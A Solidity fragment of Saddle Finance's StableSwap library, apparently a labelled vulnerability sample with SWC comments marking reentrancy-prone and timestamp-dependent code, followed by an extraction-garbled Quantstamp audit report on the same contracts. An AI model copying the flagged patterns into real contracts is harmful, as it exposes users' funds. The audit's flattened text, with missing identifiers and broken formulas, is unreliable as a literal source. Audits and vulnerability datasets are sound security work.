dx); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div(self.tokenPrecisionMultipliers[tokenIndexTo]); self.balances[tokenIndexFrom] = self.balances[tokenIndexFrom].add(dx); self.balances[tokenIndexTo] = self.balances[tokenIndexTo].sub(dy).sub(dyAdminFee); self.pooledTokens[tokenIndexFrom].safeTransferFrom( msg.sender, address(this), dx); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap(msg.sender, dx, dy, tokenIndexFrom, tokenIndexTo); } /** * @notice Add liquidity to the pool * @param amounts the amounts of each token to add, in their native * precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation */ //SWC-Reentrancy: L554-L613 function addLiquidity(Swap storage self, uint256[] calldata amounts, uint256 minToMint) external { require( amounts.length == self.pooledTokens.length, "Amounts must map to pooled tokens" ); uint256[] memory fees = new uint256[](self.pooledTokens.length); // current state uint256 D0 = 0; if (self.lpToken.totalSupply() > 0) { D0 = getD(self); } uint256[] memory newBalances = self.balances; for (uint i = 0; i < self.pooledTokens.length; i++) { require( self.lpToken.totalSupply() > 0 || amounts[i] > 0, "If token supply is zero, must supply all tokens in pool" ); newBalances[i] = self.balances[i].add(amounts[i]); } // invariant after change uint256 D1 = getD(_xp(self, newBalances), getA(self)); require(D1 > D0, "D should increase after additional liquidity"); // updated to reflect fees and calculate the user's LP tokens uint256 D2 = D1; if (self.lpToken.totalSupply() > 0) { for (uint i = 0; i < self.pooledTokens.length; i++) { uint256 idealBalance = D1.mul(self.balances[i]).div(D0); fees[i] = feePerToken(self).mul( idealBalance.difference(newBalances[i])).div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR)); newBalances[i] = newBalances[i].sub(fees[i]); } D2 = getD(_xp(self, newBalances), getA(self)); } else { // the initial depositor doesn't pay fees self.balances = newBalances; } uint256 toMint = 0; if (self.lpToken.totalSupply() == 0) { toMint = D1; } else { toMint = D2.sub(D0).mul(self.lpToken.totalSupply()).div(D0); } require(toMint >= minToMint, "Couldn't mint min requested LP tokens"); for (uint i = 0; i < self.pooledTokens.length; i++) { if (amounts[i] > 0) { self.pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i]); } } updateUserWithdrawFee(self, msg.sender, toMint); // mint the user's LP tokens self.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, D1, self.lpToken.totalSupply() ); } /** * @notice Calculate base withdraw fee for the user. If the user is currently * not participating in the pool, sets to default value. If not, recalculate * the starting withdraw fee based on the last deposit's time & amount relative * to the new deposit. * @param user address of the user depositing tokens * @param toMint amount of pool tokens to be minted */ function updateUserWithdrawFee(Swap storage self, address user, uint256 toMint) internal { uint256 currentFee = calculateCurrentWithdrawFee(self, user); uint256 currentBalance = self.lpToken.balanceOf(user); self.withdrawFeeMultiplier[user] = currentBalance.mul(currentFee) .add(toMint.mul(self.defaultWithdrawFee.add(1))) .mul(FEE_DENOMINATOR) .div(toMint.add(currentBalance)) .div(self.defaultWithdrawFee.add(1)); //SWC-Block values as a proxy for time: L642 self.depositTimestamp[user] = block.timestamp; } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation */ function removeLiquidity( Swap storage self, uint256 amount, uint256[] calldata minAmounts ) external { require(amount <= self.lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require( minAmounts.length == self.pooledTokens.length, "Min amounts should correspond to pooled tokens" ); uint256 adjustedAmount = amount .mul(FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, msg.sender))) .div(FEE_DENOMINATOR); uint256[] memory amounts = calculateRebalanceAmounts(self, adjustedAmount); for (uint i = 0; i < amounts.length; i++) { require( amounts[i] >= minAmounts[i], "Resulted in fewer tokens than expected" ); self.balances[i] = self.balances[i].sub(amounts[i]); } self.lpToken.burnFrom(msg.sender, amount); for (uint i = 0; i < self.pooledTokens.length; i++) { self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidity( msg.sender, amounts, self.lpToken.totalSupply() ); } /** * @notice Remove liquidity from the pool all in one token. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert */ function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external { uint256 totalSupply = self.lpToken.totalSupply(); uint256 numTokens = self.pooledTokens.length; require(tokenAmount <= self.lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < numTokens, "Token not found"); uint256 dyFee = 0; uint256 dy = 0; (dy, dyFee) = calculateWithdrawOneToken(self, tokenAmount, tokenIndex); dy = dy .mul(FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, msg.sender))) .div(FEE_DENOMINATOR); require(dy >= minAmount, "The min amount of tokens wasn't met"); self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); self.lpToken.burnFrom(msg.sender, tokenAmount); self.pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. */ function removeLiquidityImbalance( Swap storage self, uint256[] memory amounts, uint256 maxBurnAmount ) public { require( amounts.length == self.pooledTokens.length, "Amounts should correspond to pooled tokens" ); require(maxBurnAmount <= self.lpToken.balanceOf(msg.sender) && maxBurnAmount != 0, ">LP.balanceOf"); uint256 tokenSupply = self.lpToken.totalSupply(); uint256 _fee = feePerToken(self); uint256[] memory balances1 = self.balances; uint256 D0 = getD(_xp(self), getA(self)); for (uint i = 0; i < self.pooledTokens.length; i++) { balances1[i] = balances1[i].sub(amounts[i]); } uint256 D1 = getD(_xp(self, balances1), getA(self)); uint256[] memory fees = new uint256[](self.pooledTokens.length); for (uint i = 0; i < self.pooledTokens.length; i++) { uint256 idealBalance = D1.mul(self.balances[i]).div(D0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = _fee.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub(fees[i].mul(self.adminFee).div( FEE_DENOMINATOR)); balances1[i] = balances1[i].sub(fees[i]); } uint256 D2 = getD(_xp(self, balances1), getA(self)); uint256 tokenAmount = D0.sub(D2).mul(tokenSupply).div(D0).add(1); tokenAmount = tokenAmount .mul(FEE_DENOMINATOR) .div(FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, msg.sender))); require( tokenAmount <= maxBurnAmount, "More expensive than the max burn amount" ); self.lpToken.burnFrom(msg.sender, tokenAmount); for (uint i = 0; i < self.pooledTokens.length; i++) { self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, D1, tokenSupply.sub(tokenAmount)); } /** * @notice withdraw all admin fees to a given address * @param to Address to send the fees to */ function withdrawAdminFees(Swap storage self, address to) external { for (uint256 i = 0; i < self.pooledTokens.length; i++) { IERC20 token = self.pooledTokens[i]; uint256 balance = token.balanceOf(address(this)) - self.balances[i]; if (balance > 0) { token.safeTransfer(to, balance); } } } /** * @notice update the admin fee * @dev adminFee cannot be higher than 100% of the swap fee * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(Swap storage self, uint256 newAdminFee) external { require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high"); self.adminFee = newAdminFee; } /** * @notice update the swap fee * @dev fee cannot be higher than 1% of each swap * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(Swap storage self, uint256 newSwapFee) external { require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high"); self.swapFee = newSwapFee; } /** * @notice update the default withdraw fee. This also affects deposits made in the past as well. * @param newWithdrawFee new withdraw fee to be applied */ function setDefaultWithdrawFee(Swap storage self, uint256 newWithdrawFee) external { require(newWithdrawFee <= MAX_WITHDRAW_FEE, "Fee is too high"); self.defaultWithdrawFee = newWithdrawFee; } }
December 9th 2020— Quantstamp Verified Saddle Finance This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type StableSwap implementation Auditors Sebastian Banescu , Senior Research EngineerKevin Feng , Blockchain ResearcherTimeline 2020-10-28 through 2020-12-09 EVM Muir Glacier Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification StableSwap whitepaper Documentation Quality Low Test Quality High Source Code Repository Commit saddle-contract 83491b3 Total Issues 19 (12 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 4 (2 Resolved)Low Risk Issues 5 (4 Resolved)Informational Risk Issues 8 (5 Resolved)Undetermined Risk Issues 1 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsQuantstamp has performed a security review of the Saddle Finance implementation of StableSwap. It is important to note that this implementation is ported from in the Curve Finance contracts, which was used as a reference during the review. In total 14 security issues spanning across all severity levels were identified, along with a few deviations from the specification, code documentation issues and best practice issues. Due to the poor documentation we were not able to determine how the developers have derived some of the implemented formulas from the StableSwap whitepaper. Additionally, we have noticed that all tests in the current test suite use exactly 2 tokens in the pool. We strongly recommend adding more tests that use 3 or more tokens and addressing all identified issues before deploying the code in production. Quantstamp has reviewed the changes to the code corresponding to commit hash and has updated the status of all 14 issues which were previously identified. Additionally, we have identified 4 new issues in the newly added code. These new issues were added after the existing issues and their identifiers are between QSP-15 to QSP-18. Quantstamp has reviewed the changes to the code corresponding to commit hashes , , . The main focus of these iterations was improving the existing test suite to verify the impact of QSP-15 and the newly added QSP-19. SwapTemplateBase.vyUpdate: 5a56e24 Update: ebec9fd 759c028 33baaaa ID Description Severity Status QSP- 1 Incorrect computation in getD High Fixed QSP- 2 Integer Overflow / Underflow Medium Fixed QSP- 3 Missing input validation Medium Fixed QSP- 4 Virtual price calculation is not future-proof Low Fixed QSP- 5 Increased loss of precision due to multiplication after division Low Acknowledged QSP- 6 Crude check of contract address does not work Low Fixed QSP- 7 Checks-effects-interactions pattern violated in addLiquidity Low Fixed QSP- 8 Privileged Roles and Ownership Informational Acknowledged QSP- 9 Unlocked Pragma Informational Fixed QSP- 10 Methods with different names and same implementation Informational Fixed QSP- 11 Missing assertion in removeLiquidityImbalance Informational Fixed QSP- 12 Block Timestamp Manipulation Informational Acknowledged QSP- 13 Accidental overwriting of multipliers Informational Acknowledged QSP- 14 Allowed amount could be higher than pool cap Undetermined Acknowledged QSP- 15 The value of the A parameter can be influenced by block.timestamp Medium Acknowledged QSP- 16 may be called repeatedly even after a ramp has ended stopRampA Low Fixed QSP- 17 Ramping can be started while previous ramp is still ongoing Informational Fixed QSP- 18 Integer Overflow Informational Fixed QSP- 19 Loss-Making Updates to A Medium Acknowledged QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: v0.6.13 • SlitherSteps taken to run the tools: Installed the Slither tool: Run Slither from the project directory: pip install slither-analyzer slither . Findings QSP-1 Incorrect computation in getD Severity: High Risk Fixed Status: File(s) affected: SwapUtils.sol The function contains an incorrect for the denominator of inside the inner -loop, on L241. This will lead to an incorrect value of being returned every time is called. Description:SwapUtils.getD add(1) dP for D SwapUtils.getD Remove the mentioned above. Recommendation: add(1) QSP-2 Integer Overflow / Underflow Severity: Medium Risk Fixed Status: File(s) affected: SwapUtils.sol Integer overflow/underflow occur when an integer hits its bit-size limit. Every integer has a set range; when that range is passed, the value loops back around. A clock is a good analogy: at 11:59, the minute hand goes to 0, not 60, because 59 is the largest possible minute. Integer overflow and underflow may cause many unexpected kinds of behavior and was the core Description:reason for theattack. The subtraction inside does not use , which could cause an underflow if . The result of the underflow would then be assigned to the variable, which would be positive and therefore always pass the check on the subsequent line: . A similar underflow issue occurs on L504 inside . batchOverflowSwapUtils.withdrawAdminFees SafeMath token.balanceOf(address(this)) < self.balances[i] uint256 balance if (balance > 0) SwapUtils.getAdminBalance Use instead of primitive arithmetic subtraction. Recommendation: SafeMath.sub QSP-3 Missing input validation Severity: Medium Risk Fixed Status: , File(s) affected: Swap.sol Allowlist.sol The following functions are missing checks for user input: Description: 1. The function does not check if the value of the parameter is lower than the length of the array. [Fixed] Swap.getToken index pooledTokens 2. The function does not check if the value of the parameter is lower than the length of the array. [Fixed] Swap.getTokenBalance index pooledTokens 3. The function does not check if value of the 2 parameters are lower than the length of the array. It also does not check if the value of the input parameter is lower than the amount of tokens that the user actually has. [Fixed]Swap.calculateSwap tokenIndex{From | To} pooledTokens dx 4. The function does not check if value of the parameter is larger than the total supply of the . [Fixed] Swap.calculateRemoveLiquidity amount swapStorage.lpToken 5. The function does not check if the value of the parameter is lower than the length of the array. It also doesn't check if the value of the is lower than the actual amount available for that token. [Fixed]Swap.calculateRemoveLiquidityOneToken tokenIndex pooledTokens tokenAmount 6. The function does not check if the value of the parameter is lower than the length of the array. [Fixed] Swap.getAdminBalance index pooledTokens 7. The function does not check if value of the 2 parameters are lower than the length of the array. It also does not check if the value of the input parameter is lower than the amount of tokens that the user actually has. [Fixed]Swap.swap tokenIndex{From | To} pooledTokens dx 8. There should be checks for in the functions , and . [Fixed] poolAddress != address(0x0) Allowlist.setPoolAccountLimit Allowlist.setPoolCap 9. The does not check if the length of the . This is an implicit assumption, which should be made explicit. [Fixed] Swap.constructor _pooledTokens.length > 1 10. The does not check if all the addresses provided in are different. This would allow pools with multiple tokens, where the tokens have the same address. [Fixed]Swap.constructor _pooledTokens The consequences of an exploit of the aforementioned items vary. However, some of the items mentioned above could significantly impact the reputation of the project and should be therefore addressed. Add statements in the functions enumerated above, which should check that the input arguments are within bounds and indicate appropriate error messages otherwise. Recommendation:require QSP-4 Virtual price calculation is not future-proof Severity: Low Risk Fixed Status: File(s) affected: SwapUtils.sol The claims to calculate "the virtual price, scaled to the POOL_PRECISION". In order to do this it multiplies by and divides the result by . Even though in the current implementation inside we can see that the is created with the value of as the number of decimals, this may change during maintenance or when adding features and there is no mechanism inside that will indicate that the number of decimals of the is no longer equal to . This would lead to an incorrect virtual price. Description:SwapUtils.getVirtualPrice D 10 **uint256(getPoolPrecisionDecimals()) self.lpToken.totalSupply() Swap.sol LPToken SwapUtils.getPoolPrecisionDecimals() SwapUtils.getVirtualPrice self.lpToken getPoolPrecisionDecimals() Replace the call to inside with a computation based on (function of) . This will make the code future-proof. Recommendation:getPoolPrecisionDecimals() SwapUtils.getVirtualPrice self.lpToken.decimals() QSP-5 Increased loss of precision due to multiplication after division Severity: Low Risk Acknowledged Status: File(s) affected: SwapUtils.sol The accuracy of the return value of the function could be affected by the loss of precision that occurs with the repeated divisions that occur on L241 (inside the -loop), which are all performed before the multiplications in the subsequent iterations of the loop and the multiplication of with on L244 (after the -loop). Description:SwapUtils.getD(uint256[] memory xp, uint256 _A) for dP numTokens for L240: for (uint j = 0; j < numTokens; j++) { L241: dP = dP.mul(D).div(xp[j].mul(numTokens).add(1)); L242: } L243: prevD = D; L244: D = nA.mul(s).add(dP.mul(numTokens)).mul(D).div( L245: nA.sub(1).mul(D).add(numTokens.add(1).mul(dP))); Use another local variable inside the -loop to store the denominator of the computation separately from the numerator. The existing local variable can store the numerator and the new variable (let's call it ) can store the denominator. The new code could look like the following code snippet: Recommendation:for dP denom uint256 dP = D; uint256 denom = 1; for (uint j = 0; j < numTokens; j++) { dP = dP.mul(D); denom = denom.mul(xp[j].mul(numTokens).add(1)); } prevD = D; D = nA.mul(s).add(dP.mul(numTokens).div(denom)).mul(D).div( nA.sub(1).mul(D).add(numTokens.add(1).mul(dP).div(denom))); This issue was acknowledged by adding the following comment inside the loop, after the aforementioned division and multiplication: "If we were to protect the division loss we would have to keep the denominator separate and divide at the end. However this leads to overflow with large numTokens or/and D. dP = dP * D * D * D * … overflow!" Update:QSP-6 Crude check of contract address does not workSeverity: Low Risk Fixed Status: File(s) affected: Swap.sol The return value of the following call on L94: , is ignored inside the . It seems that this function is called to check if the address is indeed the address of an contract instance. However, there are 2 problems with this approach: Description:allowlist.getAllowedAmount(address(this), address(0)); // crude check of the allowlist Swap.constructor allowlist Allowlist 1. The address can point to any address even, an EOA or a contract that does not have the and that call will still not cause a revert and will only return . address(0)getAllowedAmount 0 2. If the address indeed points to thecontract, then the parameters passed to this call: should correctly return . Allowlistallowlist.getAllowedAmount(address(this), address(0)); 0 Therefore, wrapping the call to in a statement that checks if the return value of that function is equal to will not confirm if the address indeed points to the contract. allowlist.getAllowedAmountrequire 0 Allowlist Make sure the contract instance has set the account limits and multipliers or pool caps before calling the and then call either or with input parameters that you know will return a non-zero value. Wrap this call in a statement that checks the expected (non-zero) return value. Recommendation:Allowlist Swap.constructor allowlist.getAllowedAmount allowlist.getPoolCap require QSP-7 Checks-effects-interactions pattern violated in addLiquidity Severity: Low Risk Fixed Status: File(s) affected: SwapUtils.sol The is respected by most methods with one notable exception being the method. Description: checks-effects-interactions pattern SwapUtils.addLiquidity We recommend calling and before inside . Recommendation: updateWithdrawFee mint safeTransferFrom addLiquidity QSP-8 Privileged Roles and Ownership Severity: Informational Acknowledged Status: , , File(s) affected: Allowlist.sol LPToken.sol Swap.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. The following instances were identified in this project: Description:owner 1. The owner of thecontract can perform the following actions: Allowlist Set the multipliers for any addresses to any value, any number of times. •Set the account limits for any pool to any value, any number of times. •Set the pool cap for any pool to any value, any number of times. •2. The owner of thecontract can mint any amount of tokens to any address. There is no cap. LPToken3. The owner of thecontract can: SwapSet admin fee values and withdraw the admin fees at any point in time as many times as they want. •Set the swap fee values at any point in time as many times as they want. •Set the default withdrawal fee values at any point in time as many times as they want. •Set the guarded status of the deposits. If set to the pool will allow deposits over the allowed limit per user and will allow the TVL to go over the pool cap. false• These centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Our website will contain a risks page as user facing documentation that outlines privileged roles and capabilities. Recommendation:Update from the dev team: QSP-9 Unlocked Pragma Severity: Informational Fixed Status: File(s) affected: all Every Solidity file specifies in the header a version number of the format . The caret ( ) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version , hence the term "unlocked". Description:pragma solidity (^)0.5.* ^ and above For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Recommendation: QSP-10 Methods with different names and same implementation Severity: Informational Fixed Status: File(s) affected: SwapUtils.sol The 2 functionsand have the same implementation logic. However, they have different names and the former is and the latter is . Description:SwapUtils.calculateRemoveLiquidity SwapUtils.calculateRebalanceAmounts external internal Keep only the method. Recommendation: external QSP-11 Missing assertion in removeLiquidityImbalance Severity: Informational Fixed Status: File(s) affected: SwapUtils.sol The of the function contains an additional assertion that check if the is different from zero, before adding one to it. This is missing on L759 in Saddle. Description:reference implementation removeLiquidityImbalance tokenAmount Add the missing assertion, which would result in the following code snippet: Recommendation: uint256 tokenAmount = D0.sub(D2).mul(tokenSupply).div(D0); assert(tokenAmount != 0, "Burnt amount cannot be zero"); tokenAmount = tokenAmount.add(1); QSP-12 Block Timestamp Manipulation Severity: Informational Acknowledged Status: , File(s) affected: Swap.sol SwapUtils.sol Projects may rely on block timestamps for various purposes. However, it's important to realize that miners individually set the timestamp of a block, and attackers may be able to manipulate timestamps for their own purposes. If a smart contract relies on a timestamp, it must take this into account. The following functions/modifiers use the block timestamp: Description:• Swap.deadlineCheck• SwapUtils.calculateCurrentWithdrawFee• SwapUtils.updateUserWithdrawFee• SwapUtils._getAPrecise• SwapUtils.rampA• SwapUtils.stopRampAWarn end-users that the timestamps for deadlines can have an error of up to 900 seconds. Ensure that the withdraw fee is not severely affected by a 900 second error. Our website will contain a risks page as user facing documentation that outlines the issue with the timestamp accuracy. Recommendation:Update from the dev team: QSP-13 Accidental overwriting of multipliers Severity: Informational Acknowledged Status: File(s) affected: Allowlist.sol In function , duplicate addresses in the input arrays will cause overwrites of multipliers (in the case of human errors), during execution. Description: Allowlist.setMultipliers Check that the input addresses are unique and have not been set before. Consider adding a Boolean flag that allows/prevents overwriting existing multipliers. We will be communicating the multipliers to users and let users confirm the amounts. We will proceed with caution and check for duplicate addresses before calling the function. Recommendation:Update from the dev team: QSP-14 Allowed amount could be higher than pool cap Severity: Undetermined Acknowledged Status: File(s) affected: Allowlist.sol There is no check that constrains the owner of the contract from setting the , and to such values which would result in a call to for some pool to be greater than for the same pool. Would this be acceptable? Similarly the values of can be greater than the value of . Would this be acceptable? Description:Allowlist multipliers poolCaps accountLimits getAllowedAmount getPoolCap multipliers DENOMINATOR Clarify what the constraints should be on the values of , and . Add the corresponding statements to enforce these constraints in the setter methods. Currently we are still finishing up on the process of how the multipliers should be determined and updated. multipliers could be higher than DENOMINATOR and this is intentional. Recommendation:multipliers poolCaps accountLimits require Update from the dev team: QSP-15 The value of the A parameter can be influenced by block.timestamp Severity: Medium Risk Acknowledged Status: File(s) affected: SwapUtils.sol Projects may rely on block timestamps for various purposes. However, it's important to realize that miners individually set the timestamp of a block, and attackers may be able tomanipulate timestamps for their own purposes. If a smart contract relies on a timestamp, it must take this into account. The following functions which are used to determine the value of the A parameter use the block timestamp: Description:• SwapUtils._getAPrecise• SwapUtils.rampA• SwapUtils.stopRampAThe value of A is used to compute a large number of other crucial amounts in the system, including the values of D, the virtual price and the amount of tokens added/withdrawn. It is important to note that a malicious miner can change the value of with up to 900 seconds. block.timestamp Ensure that a manipulation of the current of up to (plus/minus) 900 seconds does not affect the values of D, the virtual price and the amount of tokens added/withdrawn. This can be proven by developing unit tests to check these values when the timestamp is intentionally changed/manipulated. The dev team has added multiple test cases in their test suite, which show that the benefits for the attacker in case the timestamp would be changed by 900 seconds exists, but is not significant. Recommendation:block.timestamp Update: QSP-16 may be called repeatedly even after a ramp has ended stopRampA Severity: Low Risk Fixed Status: File(s) affected: SwapUtils.sol There is no verification when the function is called to check if: Description: stopRampA() 1. the current ramp has already ended due to thebeing in the past. self.futureATime 2. thewas already called before to stop the current ramp. stopRampA() This allows calling this function multiple times (consecutively) with the effect that each time the is set to the current block timestamp, which prevents a new ramp for seconds. This could be problematic if the function is called multiple times by mistake. self.initialATimeMIN_RAMP_TIME stopRampA Require that not be in the past at the beginning of , that is: . Recommendation: self.futureATime stopRampA() self.futureATime > block.timestamp QSP-17 Ramping can be started while previous ramp is still ongoing Severity: Informational Fixed Status: File(s) affected: SwapUtils.sol The error message of the first statement inside says that: "Ramp already ongoing". However, this statement only checks if the has passed since the last call to , when the value of was set. The time when the previous ramp ends is actually given by , which is required to be greater or equal to on L922. Description:require rampA() require MIN_RAMP_TIME rampA() self.initialATime self.futureATime self.initialATime + MIN_RAMP_TIME Either change the error message to indicate that a new ramp cannot be started until the has passed from when the previous ramp was started, or change the condition in the statement on L921 such that the current block timestamp is greater than . This issue was fixed by changing the error message of the statement, which means that ramping can be started 1 day after the previous ramp was started, even if the previous ramp is not finished. Recommendation:MIN_RAMP_TIME require self.futureATime Update: require QSP-18 Integer Overflow Severity: Informational Fixed Status: File(s) affected: SwapUtils.sol The function uses primitive addition (+) and multiplication (*) operators on L921, L922 and L925. The latter could cause an overflow if the value of the input parameter is too large. Description:SwapUtils.rampA() futureA_ Use the corresponding functions instead of primitive arithmetic operators. Recommendation: SafeMath QSP-19 Loss-Making Updates to A Severity: Medium Risk Acknowledged Status: File(s) affected: SwapUtils.sol This on the Curve contracts was discovered by Peter Zeitz. Since the Saddle Finance contracts are a Solidity implementation of the Curve contracts they are also vulnerable to the same attack. Description:economic attack The recommendation provided in the article linked in the description is to reduce the step size in A to no more than 0.1% per block. The dev team has implemented several test cases that indicate the effects of this attack while ramping the value of A upwards and downwards. These tests show that the only cases where the attack is successful is when the change in A is large, which may only happen if there would be 2 weeks between 2 transactions on the target pool. The dev team also indicated that they will be using 2-4 weeks as the standard ramp time to lower the risks for LPs. Recommendation:Update: Adherence to Specification The originalprovides the StableSwap invariant on page 5 as: StableSwap paper A nnx​ i+∑ D = A Dnn+​ nnx​i∏ Dn+1One can subtract from both sides of this relation to obtain: A nnx​ i∑ D = A Dnn+​ nnx​i∏ Dn+1−A nnx​ i∑ The function indicates in its comment that: "Get D, the StableSwap invariant, based on a set of balances and a particular A". However, the implemented relation looks different from the above. We are not able to understand how this relation is derived from the relation in the original StableSwap paper, mentioned at the beginning of this description. However, with the exception of one bug which we have indicated in the findings above, it is in-line with the , which the Saddle dev team has indicated as being the reference for this audit. SwapUtils.getD@notice implementation SwapTemplateBase.vy We have found the following functions in Saddle, which are missing in Curve: 1. seems to calculate an additional (user specific) withdraw fee, which is unused (set to zero) in Curve.fi. Note that this fee is applied to all 3 withdrawal methods in Saddle, namely: , and . calculateCurrentWithdrawFeeremoveLiquidity removeLiquidityOneToken removeLiquidityImbalance 2. which updates the per user and is only called by . The formula implemented inside this function is complex and we did not have any specification to compare it against. We recommend adding a comment that would indicate the desired formula for the multiplier. updateUserWithdrawFeewithdrawFeeMultiplier addLiquidity Code Documentation 1. Each function should have a comment specifying its purpose, any input parameter(s) and return value(s) at the very least. The following functions do not have such comments: [Fixed]CERC20Utils.getUnderlyingBalances •LPToken.constructor •LPToken.mint •we assume this returns if the absolute value of the difference is less or equal to 1, i.e. . Otherwise, it returns . MathUtils.within1 true |a-b| <= 1 false • we assume this returns the absolute value of the difference of its input parameters, i.e. . MathUtils.difference |a-b| • All functions in the contract. StakeableTokenWrapper • 2. Function comments do not make consistent use of available and necessary NatSpec tags. Some functions only have one sentence in the tag which mentions both the return values and parameter(s) very briefly. Other functions like the 2 overloadings of on L294 and L304 have a and a tag. Other functions, such as have only tags. Other functions like have a tag and a tag but no tag. [Fixed]@notice SwapUtils._xp @notice @return Swap.constructor @param Swap.getToken @notice @param @return 3. The comments of the 2 overloadings of on L294 and L304 have identical comments. The comment of the function on L294 needs to be updated because it does not use "the pool balances". It uses the input parameter instead. [Fixed]SwapUtils._xp _balances 4. The constant is mentioned in the comments listed below. However, there is no such constant. The only other constant that has a similar name is : [Fixed]POOL_PRECISION POOL_PRECISION_DECIMALS L46 in : "Cannot be larger than POOL_PRECISION" Swap.sol • L144 in : "@return the virtual price, scaled to the POOL_PRECISION" Swap.sol • L38 in : "multipliers for each pooled token's precision to get to POOL_PRECISION" SwapUtils.sol • L310 in : "@return the virtual price, scaled to the POOL_PRECISION". SwapUtils.sol • 5. On L85, L172, L219 of and L49, L112 of there is a comment that contains a typo: "the the amplification coefficient * n * (n - 1)". One of the 2 "the"s should be removed from each of those comments. [Fixed]SwapUtils.sol Swap.sol 6. It should be made clear in user facing documentation that fees that will be charged if the user withdraws within 4 week of their deposit as seen in the functioncalculateCurrentWithdrawFee() 7. In the recurrence relation (L204 - L210) in the function seems to be documented as shown in the code snippet below. However, there is no reference to any quadratic function in the : [Fixed]getYD StableSwap paper @dev This is accomplished via solving the quadratic equation 8. Typo in comment on L18 in : "happen" -> "happens". [Fixed] Swap.sol 9. Multiple similar typos on L2148, L2542 in the comment says: "Malicious miner skips 900 seconds", however, the timestamp is shifted by 2 weeks. [Fixed] test/swap.ts 10. Typo on L267 : "recieve" -> "receive". [Fixed] test/swap4tokens.ts Adherence to Best Practices 1. The contract specifies events for setting the and . However, there is no event for setting . Is this intended? It would be more consistent to emit an event on every setter method that can be called by the owner of the contract. [Fixed]Allowlist poolCaps accountLimits multipliers 2. The function could be simplified by reusing the code of . This was the implementation of the former function could be reduced to 1 line of code: 